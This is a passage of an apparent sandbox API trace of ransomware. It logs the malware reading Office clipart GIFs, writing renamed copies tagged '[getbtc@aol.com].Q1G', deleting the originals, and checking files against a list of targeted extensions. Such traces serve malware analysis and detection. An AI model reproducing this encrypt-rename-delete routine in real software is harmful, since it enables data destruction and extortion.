office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.787] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.787] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.788] GetLastError () returned 0x0 [0054.788] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0054.789] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0054.790] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.790] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.791] SetEndOfFile (hFile=0x244) returned 1 [0054.791] CloseHandle (hObject=0x244) returned 1 [0054.791] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.791] SetEndOfFile (hFile=0x23c) returned 1 [0054.792] CloseHandle (hObject=0x23c) returned 1 [0054.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0054.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.792] lstrlenW (lpString=".doc") returned 4 [0054.792] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.792] lstrlenW (lpString=".docx") returned 5 [0054.792] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.792] lstrlenW (lpString=".pdf") returned 4 [0054.792] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.792] lstrlenW (lpString=".xls") returned 4 [0054.792] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.792] lstrlenW (lpString=".xlsx") returned 5 [0054.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.792] lstrlenW (lpString=".ppt") returned 4 [0054.792] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.792] lstrlenW (lpString=".zip") returned 4 [0054.792] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.792] lstrlenW (lpString=".rar") returned 4 [0054.792] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.792] lstrlenW (lpString=".bz2") returned 4 [0054.793] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.793] lstrlenW (lpString=".7z") returned 3 [0054.793] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.793] lstrlenW (lpString=".dbf") returned 4 [0054.793] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.793] lstrlenW (lpString=".1cd") returned 4 [0054.793] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.793] lstrlenW (lpString=".jpg") returned 4 [0054.793] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.793] lstrlenW (lpString=".doc") returned 4 [0054.793] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.793] lstrlenW (lpString=".docx") returned 5 [0054.793] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.793] lstrlenW (lpString=".pdf") returned 4 [0054.793] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.793] lstrlenW (lpString=".xls") returned 4 [0054.793] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.793] lstrlenW (lpString=".xlsx") returned 5 [0054.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.793] lstrlenW (lpString=".ppt") returned 4 [0054.793] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.793] lstrlenW (lpString=".zip") returned 4 [0054.793] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.793] lstrlenW (lpString=".rar") returned 4 [0054.793] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.793] lstrlenW (lpString=".bz2") returned 4 [0054.793] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.793] lstrlenW (lpString=".7z") returned 3 [0054.793] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.794] lstrlenW (lpString=".dbf") returned 4 [0054.794] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.794] lstrlenW (lpString=".1cd") returned 4 [0054.794] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0054.794] lstrlenW (lpString=".jpg") returned 4 [0054.794] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.794] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.794] lstrlenW (lpString="AG00126_.GIF") returned 12 [0054.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.794] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=3140) returned 1 [0054.794] CloseHandle (hObject=0x23c) returned 1 [0054.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0054.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.794] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.795] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.795] GetLastError () returned 0x0 [0054.795] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xc44, lpOverlapped=0x0) returned 1 [0054.802] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0054.804] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.804] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.804] SetEndOfFile (hFile=0x244) returned 1 [0054.805] CloseHandle (hObject=0x244) returned 1 [0054.805] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.805] SetEndOfFile (hFile=0x23c) returned 1 [0054.806] CloseHandle (hObject=0x23c) returned 1 [0054.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0054.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.808] lstrlenW (lpString=".doc") returned 4 [0054.808] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.808] lstrlenW (lpString=".docx") returned 5 [0054.808] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.808] lstrlenW (lpString=".pdf") returned 4 [0054.808] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.808] lstrlenW (lpString=".xls") returned 4 [0054.808] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.808] lstrlenW (lpString=".xlsx") returned 5 [0054.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.808] lstrlenW (lpString=".ppt") returned 4 [0054.808] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.808] lstrlenW (lpString=".zip") returned 4 [0054.808] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.808] lstrlenW (lpString=".rar") returned 4 [0054.808] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.808] lstrlenW (lpString=".bz2") returned 4 [0054.808] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.808] lstrlenW (lpString=".7z") returned 3 [0054.808] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.808] lstrlenW (lpString=".dbf") returned 4 [0054.808] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.808] lstrlenW (lpString=".1cd") returned 4 [0054.808] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.808] lstrlenW (lpString=".jpg") returned 4 [0054.808] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.809] lstrlenW (lpString=".doc") returned 4 [0054.809] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.809] lstrlenW (lpString=".docx") returned 5 [0054.809] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.809] lstrlenW (lpString=".pdf") returned 4 [0054.809] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.809] lstrlenW (lpString=".xls") returned 4 [0054.809] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.809] lstrlenW (lpString=".xlsx") returned 5 [0054.809] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.809] lstrlenW (lpString=".ppt") returned 4 [0054.809] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.809] lstrlenW (lpString=".zip") returned 4 [0054.809] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.809] lstrlenW (lpString=".rar") returned 4 [0054.809] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.809] lstrlenW (lpString=".bz2") returned 4 [0054.809] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.809] lstrlenW (lpString=".7z") returned 3 [0054.809] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.809] lstrlenW (lpString=".dbf") returned 4 [0054.809] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.809] lstrlenW (lpString=".1cd") returned 4 [0054.809] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0054.809] lstrlenW (lpString=".jpg") returned 4 [0054.809] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.810] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.810] lstrlenW (lpString="AG00129_.GIF") returned 12 [0054.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.810] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=12482) returned 1 [0054.810] CloseHandle (hObject=0x23c) returned 1 [0054.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0054.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.811] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.811] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.811] GetLastError () returned 0x0 [0054.811] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0054.813] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0054.814] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.814] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.814] SetEndOfFile (hFile=0x244) returned 1 [0054.814] CloseHandle (hObject=0x244) returned 1 [0054.814] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.814] SetEndOfFile (hFile=0x23c) returned 1 [0054.815] CloseHandle (hObject=0x23c) returned 1 [0054.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0054.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.816] lstrlenW (lpString=".doc") returned 4 [0054.816] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.816] lstrlenW (lpString=".docx") returned 5 [0054.816] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.816] lstrlenW (lpString=".pdf") returned 4 [0054.816] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.816] lstrlenW (lpString=".xls") returned 4 [0054.816] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.816] lstrlenW (lpString=".xlsx") returned 5 [0054.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.816] lstrlenW (lpString=".ppt") returned 4 [0054.816] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.816] lstrlenW (lpString=".zip") returned 4 [0054.816] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.816] lstrlenW (lpString=".rar") returned 4 [0054.816] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.816] lstrlenW (lpString=".bz2") returned 4 [0054.816] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.816] lstrlenW (lpString=".7z") returned 3 [0054.816] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.816] lstrlenW (lpString=".dbf") returned 4 [0054.816] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.817] lstrlenW (lpString=".1cd") returned 4 [0054.817] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.817] lstrlenW (lpString=".jpg") returned 4 [0054.817] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.817] lstrlenW (lpString=".doc") returned 4 [0054.817] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.817] lstrlenW (lpString=".docx") returned 5 [0054.817] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.817] lstrlenW (lpString=".pdf") returned 4 [0054.817] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.817] lstrlenW (lpString=".xls") returned 4 [0054.817] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.817] lstrlenW (lpString=".xlsx") returned 5 [0054.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.817] lstrlenW (lpString=".ppt") returned 4 [0054.817] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.817] lstrlenW (lpString=".zip") returned 4 [0054.817] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.817] lstrlenW (lpString=".rar") returned 4 [0054.817] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.818] lstrlenW (lpString=".bz2") returned 4 [0054.818] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.818] lstrlenW (lpString=".7z") returned 3 [0054.818] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.818] lstrlenW (lpString=".dbf") returned 4 [0054.818] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.818] lstrlenW (lpString=".1cd") returned 4 [0054.818] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0054.818] lstrlenW (lpString=".jpg") returned 4 [0054.818] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.818] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.818] lstrlenW (lpString="AG00130_.GIF") returned 12 [0054.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.818] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=5253) returned 1 [0054.818] CloseHandle (hObject=0x23c) returned 1 [0054.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0054.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.819] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.819] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft 